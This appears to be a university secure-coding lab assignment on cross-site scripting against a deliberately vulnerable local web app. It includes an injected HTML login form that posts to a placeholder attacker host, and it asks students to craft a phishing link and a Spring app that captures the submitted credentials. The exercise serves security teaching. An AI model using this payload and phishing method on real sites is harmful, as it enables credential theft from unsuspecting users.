SIT 218/738: Secure coding

Distinction task 3.3D: Injection attacks-Part 3

Objective

In this task you will demonstrate how cross-site scripting (XSS) attacks occurs by exploiting a vulnerable web application to harvest credentials of victims. The process starts by identifying the vulnerability in the web application and exploiting it with the code injection attacks. The attacker then generates a malicious URL that contains the injected code and shares it with the victim using social engineering attacks or hosting the URL on common platforms where users might click on it. Once the victim clicks on the link the user is prompted to enter the credentials due to the injected script. The victim thinks that he/she is on the genuine website. However, the victim is tricked in entering his/her credentials and once he/she clicks on submit button, the credentials are passed on to a domain controlled by the attacker, thereby harvesting the credentials.

Overview

The index page of our Coach web application can be accessed using http://localhost:8080/02-vul-coachwebapp and the following page is displayed

The attacker wants to harvest user's credentials. To achieve this, he/she exploits the vulnerability of this coachweb app by injecting an alert message and an embedded username/password form and generates a phishing link. When the victim clicks on the phishing link it alerts the user to login then a form is displayed with username/password. When the victim submits the credentials, they are captured in the attacker's website. Steps to complete this task:

1. Combine an alert and the below login form to inject into the 02-vul-coachwebapp' name field.

```
<h3>LOGIN</h3>
<form action=http://attackse's-web-app>
<label for="username">Username:
</label>
<input type="text" name="username" id="username" />
<label for="password">Password:</label>
<input type="password" name="password" id="password">
<input type="submit" value="OK">
```

2. Generate a phishing link that has the injected code in the URL
3. Create a simple spring-based web app that accepts the input coming from the submitted form, it should accept the POST request coming from the above web-form and display the username and password entered by the user.

Submission Requirements:

Submit one PDF file containing the following information:

1. Screenshot displaying the response after the injected code
2. URL that will be used as phishing link with the injected code
3. Code and screenshots of the spring web app that grabs the credentials when user submits the form and displays the harvested credentials.

Submission Due

The due for each task has been stated via its OnTrack task information dashboard.